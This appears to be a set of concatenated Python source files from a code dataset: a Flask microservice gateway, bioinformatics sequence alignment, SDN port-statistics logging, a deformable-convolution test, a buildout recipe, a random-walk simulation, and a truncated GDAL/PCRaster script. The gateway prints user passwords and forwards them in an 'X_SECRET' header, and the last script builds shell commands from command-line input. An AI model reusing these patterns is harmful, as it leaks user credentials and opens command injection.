subprocess.Popen([settings.OPENSSL_PATH, b'pkcs12', b'-export', b'-out', filename, b'-passout',\n b'file:%s' % fd.name, b'-aes256', b'-in', entry.crt_filename, b'-inkey',\n entry.key_filename, b'-certfile', self.cacrt_path, b'-name', entry.filename])\n p.communicate()","sub_path":"pycfiles/penatesserver-0.7.1.tar/service.py","file_name":"service.py","file_ext":"py","file_size_in_byte":25617,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"32888753","text":"import json\nimport requests\nfrom requests.exceptions import ConnectionError\nfrom flask import Flask, request, redirect\nfrom utils import send_error, send_response, clean_hh, proxy_to\n\n\napp = Flask(__name__)\n\n\nCOMPANY_SERVICE_URL = 'http://127.0.0.1:9092/'\nROUTE_SERVICE_URL = 'http://127.0.0.1:9093/'\nSESSIONS_SERVICE_URL = 'http://127.0.0.1:9091/'\nAGGREGATOR_SERVICE_URL = 'http://127.0.0.1:9094/'\n\n\n@app.route('/login/', methods=['GET', 'POST'])\ndef login_proxy():\n return proxy_to(request, SESSIONS_SERVICE_URL + 'login/')\n\n\n@app.route('/register/', methods=['GET', 'POST'])\ndef register_proxy():\n return proxy_to(request, SESSIONS_SERVICE_URL + 'register/')\n\n\n@app.route('/authorize/', methods=['GET', 'POST'])\ndef authorize_proxy():\n return proxy_to(request, SESSIONS_SERVICE_URL + 'authorize/')\n\n\n@app.route('/token/', methods=['POST'])\ndef access_token_proxy():\n return proxy_to(request, SESSIONS_SERVICE_URL + 'token/')\n\n\n@app.route('/me/', methods=['GET'])\ndef personal_view():\n try:\n response = requests.get(SESSIONS_SERVICE_URL + 'identify/', headers=clean_hh(request))\n if response.status_code != 200:\n return send_error(request, 403)\n except ConnectionError as e:\n return send_response(request, {'status': 'Session service is down'})\n \n user = response.json()['data']\n headers = {'X_EMAIL': user['email']}\n try:\n response = requests.get(COMPANY_SERVICE_URL + 'companies/', headers=headers)\n if response.status_code == 200:\n companies = json.loads(response.text)\n user['companies'] = companies['data']\n except ConnectionError as e:\n user['companies'] = {'error': 'Company service is down'}\n\t\n try:\n response = requests.get(ROUTE_SERVICE_URL + 'my_routes/', headers=headers)\n if response.status_code == 200:\n routes = json.loads(response.text)\n user['routes'] = routes['data']\n except ConnectionError as e:\n user['routes'] = {'error': 'Routes service is down'}\n\n return send_response(request, {'status': 'OK', 'data': user})\n\n# problem\n@app.route('/route//register/', methods=['POST'])\ndef register_me(route_id):\n try:\n response = requests.get(SESSIONS_SERVICE_URL + 'identify/', headers=clean_hh(request))\n if response.status_code != 200:\n return send_error(request, 403)\n except ConnectionError:\n return send_response(request, {'status': 'Session service is down'})\n \n \n\n user = response.json()['data']\n print({'USER': user})\n \n headers = {}\n \n headers.update({\n 'X_EMAIL': user['email'],\n\t\t'X_SECRET': user['password'],\n\t})\n\t\n print({'HEADERS': headers})\n\t\n try:\n response = requests.post(ROUTE_SERVICE_URL + 'route/%s/register/' % route_id, headers=headers)\n if response.status_code == 200:\n return send_response(request, {'status': 'OK'})\n return send_error(request, response.status_code)\n except ConnectionError:\n return send_response(request, {'status': 'Route service is down'})\n\n\nif __name__ == '__main__':\n app.run(host='127.0.0.1', port=9094)\n","sub_path":"lr3_micros/front/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3159,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"649187838","text":"import os\nimport re\nfrom filecmp import dircmp\nfrom pathlib import Path\nimport numpy as np\nfrom Bio.PDB import PDBParser\n\nimport unittest\nimport sys\nsys.path.append(\"..\")\nfrom Bio.Seq import Seq\nfrom Bio.SeqRecord import SeqRecord\nfrom Bio.Alphabet import IUPAC, SingleLetterAlphabet\nimport forgi.graph.bulge_graph as fgb\nimport forgi.utilities.debug as fud\nfrom forgi.utilities.exceptions import GraphConstructionError\nimport forgi.utilities.stuff as fus\nimport forgi.threedee.model.coarse_grain as ftmc\n\npunktacja = {'dopasowanie':1, 'niedopasowanie':-1, 'przerwa':-1}\ndef pobranie_PDB():\n print(\"PDB\")\ndef funkcja(string, tmplista):\n parser = PDBParser()\n structure = parser.get_structure('X', string)\n model=structure[0]\n for chain in model:\n tmplista.append([string[-8:-4],chain])\ndef sprawdzDopasowanie(x, y):\n if x == y:\n return punktacja['dopasowanie']\n elif x == \"-\" or y == \"-\":\n return punktacja['przerwa']\n else:\n return punktacja['niedopasowanie']\n\ndef NeedlemanWunsch(seq1, seq2, wyniki):\n m, n = len(seq1), len(seq2)\n punkty = np.zeros((m+1, n+1)) \n # Faza inicjalizacji macierzy---------------------------------------------------------\n for i in range(m+1):\n punkty[i][0] = punktacja['przerwa'] * i\n for j in range(n+1):\n punkty[0][j] = punktacja['przerwa'] * j\n # Wypelnienie macierzy punktacji-------------------------------------------------------\n for i in range(1, m + 1):\n for j in range(1, n + 1):\n przek = punkty[i-1][j-1] + sprawdzDopasowanie(seq1[i-1], seq2[j-1])\n D = punkty[i-1][j] + punktacja['przerwa']\n I = punkty[i][j-1] + punktacja['przerwa']\n punkty[i][j] = max(przek, D, I)\n i = m\n j = n\n dopasowanie_1 = \"\" \n dopasowanie_2 = \"\"\n # Przejscie przez macierz-----------------------------------------------------------\n while (i>0 and j>0):\n punkty_teraz = punkty[i][j]\n punkty_przek = punkty[i-1][j-1]\n punkty_L = punkty[i][j-1]\n punkty_gora = punkty[i-1][j]\n \n if punkty_teraz == punkty_przek + sprawdzDopasowanie(seq1[i-1], seq2[j-1]):\n dop_1 = seq1[i-1]\n dop_2 = seq2[j-1]\n i = i-1\n j = j-1\n elif punkty_teraz == punkty_gora + punktacja['przerwa']:\n dop_1 = seq1[i-1]\n dop_2 = \"-\"\n i -= 1\n elif punkty_teraz == punkty_L + punktacja['przerwa']:\n dop_1 = \"-\"\n dop_2 = seq2[j-1]\n j -= 1\n dopasowanie_1+=dop_1\n dopasowanie_2+=dop_2\n \n while i>0:\n dop_1 = seq1[i-1]\n dop_2 = \"-\"\n dopasowanie_1+=dop_1\n dopasowanie_2+=dop_2\n i -= 1\n while j>0:\n dop_1 = \"-\"\n dop_2 = seq2[j-1]\n dopasowanie_1+=dop_1\n dopasowanie_2+=dop_2\n j -= 1\n \n dopasowanie_1 = dopasowanie_1[::-1]\n dopasowanie_2 = dopasowanie_2[::-1]\n sekwencja = len(dopasowanie_1)\n punktacjaSekwencji = 0\n identycznosc = 0\n for i in range(sekwencja):\n dop_1 = dopasowanie_1[i]\n dop_2 = dopasowanie_2[i]\n if dop_1 == dop_2:\n identycznosc += 1\n punktacjaSekwencji += sprawdzDopasowanie(dop_1, dop_2)\n else: \n punktacjaSekwencji += sprawdzDopasowanie(dop_1, dop_2)\n \n identycznosc = identycznosc/sekwencja * 100\n wy = ' '.join(['Po dopasowaniu', '\\nsekwencja 1:', str(dopasowanie_1), '\\nsekwencja 2:', str(dopasowanie_2), '\\nProcent identycznosci:', str(identycznosc), '\\nPunktacja:', str(punktacjaSekwencji), '\\n'])\n wyniki.write(wy)\n\n print(\"Po dopasowaniu\")\n print(\"sekwencja 1:\",dopasowanie_1)\n print(\"sekwencja 2:\",dopasowanie_2)\n print(\"Procent identycznosci: %2.1f\" % identycznosc)\n print(\"Punktacja:\", punktacjaSekwencji)\n \n return identycznosc\n\n \n\ndef metrykaGory(S1, S2):\n vS1 = []\n vS2 = []\n S1c = 0\n S2c = 0\n\n for j in S1:\n if j == '(': \n S1c+=1\n vS1.append(S1c)\n elif j == ')':\n S1c-=1\n vS1.append(S1c)\n else:\n vS1.append(S1c)\n\n for j in S2:\n if j == '(': \n S2c+=1\n vS2.append(S2c)\n elif j == ')':\n S2c-=1\n vS2.append(S2c)\n else:\n vS2.append(S2c)\n\n return abs(sum(vS1)-sum(vS2))\n\ndef metryka(s1, s2): #procent niezgodnych pozycji\n if len(s1)!=len(s2):\n return 100\n d=0\n for i in range(len(s1)):\n if s1[i]!=s2[i]:\n d=d+1\n return 100*d/len(s1)\ndef hamming_distance(s1, s2):\n if len(s1) != len(s2):\n raise ValueError(\"Undefined for sequences of unequal length\")\n return sum(ch1 != ch2 for ch1, ch2 in zip(s1, s2))\ndef get_pdb_file(PDBlist2,path):\n pdbl = PDBList()\n for i in PDBlist2:\n #pdbl.retrieve_pdb_file(i)\n pdbl.retrieve_pdb_file(i, file_format=\"pdb\",pdir=path)\n #pdbl.update_pdb()\ndef convert_pdb_to_fasta_tring(pdb_file):\n cg = ftmc.from_pdb(pdb_file)\n return cg.to_fasta_string()\n \ndef check_lancuchow(pdb_file):\n amino_code = {\n\t'ALA':'A', 'ARG':'R', 'ASN':'N', 'ASP':'D',\n\t'CYS':'C', 'GLN':'Q', 'GLU':'E', 'GLY':'G',\n\t'ILE':'I', 'LEU':'L', 'LYS':'K', 'MET':'M',\n\t'PHE':'F', 'PRO':'P', 'SER':'S', 'THR':'T',\n\t'TRP':'W', 'TYR':'Y', 'VAL':'V', 'HIS':'H',\n\t'ASX':'B', 'GLX':'Z', 'UNK':'K'\n }\n fa = {}\n with open(pdb_file) as fh:\n for buff in fh:\n if (buff[0:4] != 'ATOM'):\n continue\n chain_name = buff[21:22]\n res_number = int(buff[22:26])\n amino_acid = buff[17:20]\n if not (chain_name in fa):\n fa[chain_name] = []\n aa = 'X'\n if (amino_acid in amino_code):\n aa = amino_code[amino_acid]\n if (len(fa[chain_name]) != res_number):\n fa[chain_name] += ['X'] * (res_number - len(fa[chain_name]))\n fa[chain_name][res_number - 1] = aa\n for k, v in sorted(fa.items()):\n\t#print (len(k))\n if not(len(fa) >=2 and set(''.join(v))=={'X'}): \n return False\n return True\n\ndef drzewoDFS(elem):\n print(\"wejscie: \", elem)\n\n #return wyjscie\ndef utworzZbiorZPliku(sciezka):\n f = open(sciezka, \"r\")\n print(f.name)\n struktury = []\n \n for lin in f:\n struktury.append(lin)\n return struktury\nif __name__ == \"__main__\":\n path = Path('/pdb')\n lista = list(path.glob('**/*.ent'))\n\n sciezka='/pdb'\n parser = PDBParser()\n \n import Bio\n from Bio.PDB import PDBList\n listaLancuchow=[]\n PDBlist1=[]\n \n PDBlist=['1EVV','1EHZ','1ESY','1DDY','2G1W','1ALK','2lbk','3g78','4jkw']\n #pdbl = PDBList()\n get_pdb_file(PDBlist,path)\n for i in lista:\n if check_lancuchow(i) is True:\n PDBlist1.append(i)\n print(i)\n lista_struktury = 'pdb/Struktury.txt'\n listy_struktury = utworzZbiorZPliku(lista_struktury)\n bg1 = fgb.BulgeGraph()\n bg2 = fgb.BulgeGraph()\n \n _1evv_ ='(((((((..((((.....[..)))).((((.........)))).....(((((..]....))))))))))))....'\n _1ehz_ ='(((((((..((((.....[..)))).((((.........)))).....(((((..]....))))))))))))....'\n _1esy_ = '((((.((....))..))))'\n _1ddy_ ='......[[[.{((....((]]]...).).}.))..'\n _2g1w_ = '((((.[[..))))......]]'\n _2lbk_ ='.(((((.....))))).'\n _1clq_ ='(((((......(((....(((....)))....)))...)))))'\n _1f7g_ ='((((((.(((((....)))))))))))'\n _1f79_ ='.(((((.(((((....)))))))))).'\n listy = list([_1evv_,_1ehz_,_1esy_,_1ddy_,_2g1w_,_2lbk_,_1f7g_,_1f79_])\n bg = fgb.BulgeGraph()\n path_wynik =r\"wynik/wyniki.txt\"\n \n wyniki = open(path_wynik, \"w\")\n #wyj=''\n for ind, z in enumerate(listy):\n bg.from_dotbracket(z)\n elem_str = bg.to_element_string()\n print(\"struktury\",ind+1,\":\", z)\n print(\" \",elem_str)\n wyj = ' '.join(['struktury',str(ind+1),':', str(z) , '\\n',' ',str(elem_str)])\n #wyniki.write(wyj)\n #wynik1 =''\n for ind, z in enumerate(listy):\n for ind2, z2 in enumerate(listy):\n if ind == ind2:\n continue\n bg1.from_dotbracket(z)\n elem_str1 = bg1.to_element_string()\n bg2.from_dotbracket(z2)\n elem_str2 = bg2.to_element_string()\n print(\"=============================================================================================\\n\")\n print(\"odleglosc struktury\", ind+1, \"od struktury\", ind2+1, \"wynosi\")\n NeedlemanWunsch(elem_str1, elem_str2, wyniki)\n print(\"metryka gory:\", metrykaGory(z, z2))\n print(\"metryka procent niezgodnych pozycji:\",metryka(z, z2))\n print(\"=============================================================================================\\n\")\n ##wyniki.write(wynik1)\n","sub_path":"Zad1_Bioinformatyka.py","file_name":"Zad1_Bioinformatyka.py","file_ext":"py","file_size_in_byte":8970,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"115603319","text":"import requests\nimport csv\nimport json\nimport time\n\narray_num = 1\n\n# Create csn file\ncsv_open = csv.writer(open(\"attack2.csv\",\"wb+\"))\ncsv_open.writerow([\"port_no\",\n \"rx_packets\",\n \"tx_packets\",\n \"rx_bytes\",\n \"tx_bytes\",\n \"rx_dropped\",\n \"tx_dropped\",\n \"rx_errors\",\n \"tx_errors\",\n \"rx_frame_err\",\n \"rx_over_err\",\n \"rx_crc_err\",\n \"collisions\",\n \"duration_sec\",\n \"duration_nsec\"\n ])\n\nlatest_rx_packets = 0\nlatest_tx_packets = 0\nlatest_rx_bytes = 0\nlatest_tx_bytes = 0\nlatest_rx_dropped = 0\nlatest_tx_dropped = 0\nlatest_rx_errors = 0\nlatest_tx_errors = 0\nlatest_rx_frame_err = 0\nlatest_rx_over_err = 0\nlatest_rx_crc_err = 0\nlatest_collisions = 0\nlatest_duration_sec = 0\nlatest_duration_nsec = 0\n\npenultimate_rx_packets = 0\npenultimate_tx_packets = 0\npenultimate_rx_bytes = 0\npenultimate_tx_bytes = 0\npenultimate_rx_dropped = 0\npenultimate_tx_dropped = 0\npenultimate_rx_errors = 0\npenultimate_tx_errors = 0\npenultimate_rx_frame_err = 0\npenultimate_rx_over_err = 0\npenultimate_rx_crc_err = 0\npenultimate_collisions = 0\npenultimate_duration_sec = 0\npenultimate_duration_nsec = 0\n\ndiff_rx_packets = 0\ndiff_tx_packets = 0\ndiff_rx_bytes = 0\ndiff_tx_bytes = 0\ndiff_rx_dropped = 0\ndiff_tx_dropped = 0\ndiff_rx_errors = 0\ndiff_tx_errors = 0\ndiff_rx_frame_err = 0\ndiff_rx_over_err = 0\ndiff_rx_crc_err = 0\ndiff_collisions = 0\ndiff_duration_sec = 0\ndiff_duration_nsec = 0\n\n# Write to file\nfor x in range (20):\n print(x)\n time.sleep(1)\n\n # Send request\n response = requests.get('http://localhost:8080/stats/port/1')\n\n if response.status_code != 200:\n print(\"Failed to get data: \", response.status_code)\n else:\n data = response.json()\n\n penultimate_rx_packets = latest_rx_packets\n penultimate_tx_packets = latest_tx_packets\n penultimate_rx_bytes = latest_rx_bytes\n penultimate_tx_bytes = latest_tx_bytes\n penultimate_rx_dropped = latest_rx_dropped\n penultimate_tx_dropped = latest_tx_dropped\n penultimate_rx_errors = latest_rx_errors\n penultimate_tx_errors = latest_tx_errors\n penultimate_rx_frame_err = latest_rx_frame_err\n penultimate_rx_over_err = latest_rx_over_err\n penultimate_rx_crc_err = latest_rx_crc_err\n penultimate_collisions = latest_collisions\n penultimate_duration_sec = latest_duration_sec\n penultimate_duration_nsec = latest_duration_nsec\n\n latest_rx_packets = data[\"1\"][array_num][\"rx_packets\"]\n latest_tx_packets = data[\"1\"][array_num][\"tx_packets\"]\n latest_rx_bytes = data[\"1\"][array_num][\"rx_bytes\"]\n latest_tx_bytes = data[\"1\"][array_num][\"tx_bytes\"]\n latest_rx_dropped = data[\"1\"][array_num][\"rx_dropped\"]\n latest_tx_dropped = data[\"1\"][array_num][\"tx_dropped\"]\n latest_rx_errors = data[\"1\"][array_num][\"rx_errors\"]\n latest_tx_errors = data[\"1\"][array_num][\"tx_errors\"]\n latest_rx_frame_err = data[\"1\"][array_num][\"rx_frame_err\"]\n latest_rx_over_err = data[\"1\"][array_num][\"rx_over_err\"]\n latest_rx_crc_err = data[\"1\"][array_num][\"rx_crc_err\"]\n latest_collisions = data[\"1\"][array_num][\"collisions\"]\n latest_duration_sec = data[\"1\"][array_num][\"duration_sec\"]\n latest_duration_nsec = data[\"1\"][array_num][\"duration_nsec\"]\n\n diff_rx_packets = latest_rx_packets - penultimate_rx_packets\n diff_tx_packets = latest_tx_packets - penultimate_tx_packets\n diff_rx_bytes = latest_rx_bytes - penultimate_rx_bytes\n diff_tx_bytes = latest_tx_bytes - penultimate_tx_bytes\n diff_rx_dropped = latest_rx_dropped - penultimate_rx_dropped\n diff_tx_dropped = latest_tx_dropped - penultimate_tx_dropped\n diff_rx_errors = latest_rx_errors - penultimate_rx_errors\n diff_tx_errors = latest_tx_errors - penultimate_tx_errors\n diff_rx_frame_err = latest_rx_frame_err - penultimate_rx_frame_err\n diff_rx_over_err = latest_rx_over_err - penultimate_rx_over_err\n diff_rx_crc_err = latest_rx_crc_err - penultimate_rx_crc_err\n diff_collisions = latest_collisions - penultimate_collisions\n diff_duration_sec = latest_duration_sec - penultimate_duration_sec\n diff_duration_nsec = latest_duration_nsec - penultimate_duration_nsec\n\n\n csv_open.writerow([data[\"1\"][array_num][\"port_no\"],\n diff_rx_packets,\n diff_tx_packets,\n diff_rx_bytes,\n diff_tx_bytes,\n diff_rx_dropped,\n diff_tx_dropped,\n diff_rx_errors,\n diff_tx_errors,\n diff_rx_frame_err,\n diff_rx_over_err,\n diff_rx_crc_err,\n diff_collisions,\n diff_duration_sec,\n diff_duration_nsec])\n","sub_path":"data_mining_scripts/port/old/sdn_port_timed.py","file_name":"sdn_port_timed.py","file_ext":"py","file_size_in_byte":5326,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"411782031","text":"\r\nimport _init_paths\r\nimport torch\r\nimport torch.nn as nn\r\nfrom models.networks.DCNv2.dcn_v2 import DCNv2, DCN, dcn_v2_conv\r\nfrom models.networks.corner_pool_utils import RCN_NEW, RCN_NEW_XV\r\nfrom models.networks.DCNv2_xv.modules.modulated_deform_conv import ModulatedDeformConv\r\nimport numpy as np\r\n\r\nkH = 3\r\nkW = 1\r\nkernel = (kH,kW)\r\npH = 1\r\npW = 0\r\npadding = (pH,pW)\r\niH = iW = 3\r\noH = (iH + 2 * pH - kH)//1 +1\r\noW = (iW + 2 * pW - kW)//1 +1\r\n\r\ndeformable_groups = 1\r\nN, inC, inH, inW = 1, 1, 3, 3\r\noutC = 1\r\ndef check_mdconv_zero_offset():\r\n conv_offset = nn.Conv2d(inC, deformable_groups * 2 * kH * kW,\r\n kernel_size=(kH, kW),\r\n stride=(1, 1),\r\n padding=(pH, pW),\r\n bias=True).cuda()\r\n\r\n conv_mask = nn.Conv2d(inC, deformable_groups * 1 * kH * kW,\r\n kernel_size=(kH, kW),\r\n stride=(1, 1),\r\n padding=(pH, pW),\r\n bias=True).cuda()\r\n\r\n dcn = ModulatedDeformConv(inC, outC, (kH, kW),\r\n stride=1, padding=(pH, pW), dilation=1,\r\n groups=1,\r\n deformable_groups=deformable_groups, im2col_step=1).cuda()\r\n pcn = nn.Conv2d(inC, outC, (kH, kW), stride=1, padding=(pH, pW), dilation=1, groups=1).cuda()\r\n pcn.weight = dcn.weight\r\n pcn.bias = dcn.bias\r\n print((pcn.weight.data - dcn.weight.data).abs().max())\r\n\r\n conv_offset.weight.data.zero_()\r\n conv_offset.bias.data.zero_()\r\n conv_mask.weight.data.zero_()\r\n conv_mask.bias.data.zero_()\r\n\r\n input = torch.randn(N, inC, inH, inW).cuda()\r\n offset = conv_offset(input)\r\n mask = conv_mask(input)\r\n mask = torch.sigmoid(mask)\r\n mask *= 2\r\n output_d = dcn(input, offset, mask)\r\n output_p = pcn(input)\r\n d = (output_d - output_p).abs().max()\r\n if d < 1e-5:\r\n print('mdconv zero offset passed with {}'.format(d))\r\n else:\r\n print('mdconv zero offset failed with {}'.format(d))\r\n # print(output_p)\r\n # print(output_d)\r\n print((output_d - output_p).abs())\r\n\r\n# check_mdconv_zero_offset()\r\ntest_rcn_xv = RCN_NEW_XV(1, 1, kernel, stride=1, padding=padding, bias=False).cuda()\r\n\r\ninput = torch.arange(0,iH*iW).view(1,1,iH,iW).cuda().float()\r\ninput[0,0,2,1] = 9\r\ninput[0,0,1,2] = 10\r\nnn.init.constant_(test_rcn_xv.weight, 1.0)\r\nangle = torch.zeros_like(input)\r\n# offset = [0,0,0,0,0,0,0,0,0,0]\r\noffset = [0,0,0,0,0,0]\r\noffset = torch.Tensor(offset).view(2*kH*kW,1)\r\noffset = offset.expand(2*kH*kW,oH*oW).contiguous().view(-1).view(1,2*kH*kW,oH,oW).cuda()\r\nmask = torch.ones(N,kH*kW,oH,oW).cuda()\r\noutput_xv = test_rcn_xv(input, angle, offset, mask)\r\n\r\n# offset1 = [-2,2,-1,1,0,0,1,-1,2,-2]\r\n# offset1 = [-1,1,0,0,1,-1]\r\noffset1 = [1,1,0,0,-1,-1]\r\noffset1= torch.Tensor(offset1).view(2*kH*kW,1)\r\noffset1 = offset1.expand(2*kH*kW,oH*oW).contiguous().view(1,2*kH*kW,oH,oW).cuda()\r\noutput1_xv = test_rcn_xv(input, angle, offset1, mask)\r\n\r\n\r\nangle1 = torch.ones_like(input)*np.pi*0.5\r\noutput1_ang_xv = test_rcn_xv(input, angle1)\r\n\r\nangle2 = torch.ones_like(input)*np.pi*1.0\r\noutput2_ang_xv = test_rcn_xv(input, angle2)\r\n\r\nangle3 = torch.ones_like(input)*np.pi*1.5\r\noutput3_ang_xv = test_rcn_xv(input, angle3)\r\n\r\n\r\n# weight = torch.Tensor([1,0,0,1,0,0,1,0,0]).view(1,1,3,3,).cuda()\r\n# test_rcn.weight.data=weight\r\n# output3 = test_rcn(input, angle)\r\n# output4 = test_rcn(input, angle1)\r\n#\r\n# angle2 = torch.ones_like(input)*np.pi*1.0\r\n# output5 = test_rcn(input, angle2)\r\n#\r\n# angle3 = torch.ones_like(input)*np.pi*1.5\r\n# output6 = test_rcn(input, angle3)\r\n\r\nprint('done.')","sub_path":"src/test_dcn_v2.py","file_name":"test_dcn_v2.py","file_ext":"py","file_size_in_byte":3656,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"378386167","text":"import os\nimport logging\n\nclass Mkdir:\n\n def __init__(self, buildout, name, options):\n self.buildout = buildout\n self.name = name\n self.options = options\n options['path'] = os.path.join(\n buildout['buildout']['directory'],\n options['path'],\n )\n if not os.path.isdir(os.path.dirname(options['path'])):\n logging.getLogger(self.name).error(\n 'Cannot create %s. %s is not a directory.',\n options['path'], os.path.dirname(options['path']))\n raise zc.buildout.UserError('Invalid Path')\n\n def install(self):\n path = self.options['path']\n if not os.path.isdir(path):\n logging.getLogger(self.name).info(\n 'Creating directory %s', os.path.basename(path))\n os.mkdir(path)\n return ()\n\n def update(self):\n pass\n\n","sub_path":"lovely.recipe/tags/0.3.1b1/src/lovely/recipe/fs/mkdir.py","file_name":"mkdir.py","file_ext":"py","file_size_in_byte":947,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"104726505","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport argparse\n\ndef main(args):\n\t# Get command line arguments\n\twalk = args.walk\n\tcar = args.car\n\texample = args.example\n\tx0 = args.x0\n\tabort = False\n\n\tif walk == True:\n\t\t# Load example data or data given by user\n\t\tif example:\n\t\t\tT = [50,100,200,300]\n\t\t\tnu = [0.005,0.01,0.05,0.1]\n\t\telse:\n\t\t\tT = args.T\n\t\t\tnu = args.n\n\t\t\tif T is None:\n\t\t\t\tprint('Please enter at least one target point in time or set to --example')\n\t\t\t\tabort = True\n\t\t\tif nu is None:\n\t\t\t\tprint('Please enter at least one noise variance or set to --example')\n\t\t\t\tabort = True\n\n\t\t# If user has given reasonable data, continue\n\t\tif not abort:\n\t\t\t# Initialize grid for plotting\n\t\t\tf, axarr = plt.subplots(len(T),len(nu))\n\n\t\t\t# Loop over every target point in time\n\t\t\tfor i,target in enumerate(T):\n\t\t\t\t# Create time vector from 1 (0) until target for looping (plotting)\n\t\t\t\tx = np.arange(start = 1, stop=target)\n\t\t\t\tx_plot = np.arange(start = 0, stop=target)\n\n\t\t\t\t# Loop over every noise variance\n\t\t\t\tfor j,var in enumerate(nu):\n\t\t\t\t\t# Start at x_0\n\t\t\t\t\trandom_walk = [x0]\n\n\t\t\t\t\t# Loop over time\n\t\t\t\t\tfor step in x:\n\t\t\t\t\t\t# Compute optimal control and draw random noise from Gaussian, save in random_walk\n\t\t\t\t\t\tu_star = (np.tanh(random_walk[-1]/var*(target-step))-random_walk[-1])/(target-step)\n\t\t\t\t\t\txi = np.random.normal(loc=0.0, scale=var, size=None)\n\t\t\t\t\t\trandom_walk.append(u_star + xi)\n\n\t\t\t\t\t# Plot random walk and target locations\n\t\t\t\t\taxarr[i,j].plot(x_plot,random_walk)\n\t\t\t\t\taxarr[i,j].plot(x_plot,np.ones((len(random_walk),1)))\n\t\t\t\t\taxarr[i,j].plot(x_plot,(-1)*np.ones((len(random_walk),1)))\n\t\t\t\t\taxarr[i,j].set_xlabel('Timesteps ' + r'$t$')\n\t\t\t\t\taxarr[i,j].set_ylabel('Location ' + r'$x$')\n\t\t\t\t\taxarr[i,j].set_title(r'$T$' + '=' + str(T[i]) +' ' r'$\\nu$'+ '=' + str(nu[j]))\n\n\t\t\tf.suptitle('Random walk with dynamics ' + r'$dx = udt+d\\xi$' + '\\n' + 'Optimal control is ' + r'$u*(x,t)=\\frac{tanh(\\frac{x}{\\nu(T-t)})-x}{T-t}$' + '\\n' + 'Target location at ' + r'$t=T$' + ' is ' + r'$x = \\pm 1$'\n\t\t\t\t, fontsize=14)\n\t\t\tplt.show()\n\telif car == True:\n\t\tprint('car')\n\telse:\n\t\tprint('Please choose one exercise you want to execute')\n\nif __name__ == '__main__':\n\tparser = argparse.ArgumentParser(description='Simulate a controlled random walk in one dimension')\n\tparser.add_argument('--walk', dest='walk', action='store_true', help='Set to execute random walk exercise')\n\tparser.set_defaults(walk=False)\n\tparser.add_argument('--car', dest='car', action='store_true', help='Set to execute mountain car exercise')\n\tparser.set_defaults(car=False)\n\tparser.add_argument('--example', dest='example', action='store_true', help='Set to execute with example values')\n\tparser.set_defaults(example=False)\n\tparser.add_argument('--x0', type=int,default =0,\n help='RANDOM WALK: Starting point (default = 0)')\n\tparser.add_argument('--T', nargs='+', type=int,\n help='RANDOM WALK: Target point(s) in time')\n\tparser.add_argument('--n', nargs='+',type=float,\n help='RANDOM WALK: Noise variance(s)')\n\targs = parser.parse_args()\n\n\tmain(args)","sub_path":"RandomWalk.py","file_name":"RandomWalk.py","file_ext":"py","file_size_in_byte":3092,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"240066760","text":"#! /usr/bin/python\n\n# make sure the following modules are loaded \n#~ $ module load eb\n#~ $ module load GDAL\n#~ $ . /home/edwin/bin-special/pcraster-4.1.0-beta-20151027_x86-64_gcc-4/bashrc_special_pcraster_modflow\n\nimport os\nimport sys\nimport gdal\nimport pcraster as pcr\n\nimport virtualOS as vos\n\n# give your tile code as the system argument\ntile_code = \"dem_tif_n60w180\"\ntile_code = sys.argv[1]\n\n\ninput_folder = \"/projects/0/dfguu/users/sandrahw/download/\" + tile_code\noutput_folder = \"/projects/0/dfguu/users/sandrahw/MERIT_upscaled_30sec/\" + tile_code\n\n# make and set the directory to the output folder\ncmd = \"mkdir -p \" + output_folder\nprint(cmd); os.system(cmd)\nos.chdir(output_folder)\n# - cleaning the output folder\ncmd = \"rm -r \" + output_folder + \"/*\"\nprint(cmd); os.system(cmd)\n\n# merge all tif files\ninput_tif_files = input_folder + \"/*\"\noutput_file = output_folder + \"/\" + tile_code + \".tif\"\ncmd = \"python /hpc/eb/RedHatEnterpriseServer7/GDAL/2.2.3-foss-2017b-Python-2.7.14/bin/gdal_merge.py -o \" + output_file + \" \" + input_tif_files \nprint(cmd); os.system(cmd)\n#\n# - then convert it to a pcraster file:\ninput_tif_file = output_file\noutput_file = output_folder + \"/\" + tile_code + \".map\"\ncmd = \"gdal_translate -of PCRaster \" + input_tif_file + \" \" + output_file\nprint(cmd); os.system(cmd)\n# - this is an original input pcraster map at 3 arc sec resolution\n\n\n# prepare the clone map at 30 arc sec resolution (e.g. $ mapattr -s -R 1800 -C 3600 -B -P yb2t -x -180 -y 75 -l 0.008333333333333333333333333333333333333333333333333333 dem_tif_n60w180.30sec.clo.map)\nnum_of_rows_30sec = str(vos.getMapAttributesALL(output_file)[\"rows\"] / 10.)\nnum_of_cols_30sec = str(vos.getMapAttributesALL(output_file)[\"cols\"] / 10.)\nx_coordinate = str(vos.getMapAttributesALL(output_file)[\"xUL\"])\ny_coordinate = str(vos.getMapAttributesALL(output_file)[\"yUL\"])\ncellsize_30sec = \"0.00833333333333333333333333333333333333333333333333333333333333333333333333333333\"\noutput_file = output_folder + \"/\" + tile_code + \".30sec.clo.map\"\ncmd = \"mapattr -s -R \" + num_of_rows_30sec + \" -C \" + num_of_cols_30sec + \" -B -P yb2t -x \" + x_coordinate + \" -y \" + y_coordinate + \" -l \" + cellsize_30sec + \" \" + output_file\nprint(cmd); os.system(cmd)\n\n\n# give the ids for every 30 arc sec cell (e.g. pcrcalc dem_tif_n60w180_30sec.ids.map = \"nominal(uniqueid(dem_tif_n60w180_30sec.clo.map))\")\ninput_file = output_file\noutput_file = output_folder + \"/\" + tile_code + \".30sec.ids.map\"\npcr.setclone(input_file)\nprint(\"Making the clone map at 30 arcsec resolution.\")\nunique_ids_30sec = pcr.nominal(pcr.uniqueid(input_file))\npcr.report(unique_ids_30sec, output_file)\n# - Note that this map has 30 arc sec resolution.\n\n\n# resample the ids map to 3 arc sec resolution (e.g. gdalwarp -tr 0.00083333333333333333333333333333333333333 0.00083333333333333333333333333333333333333 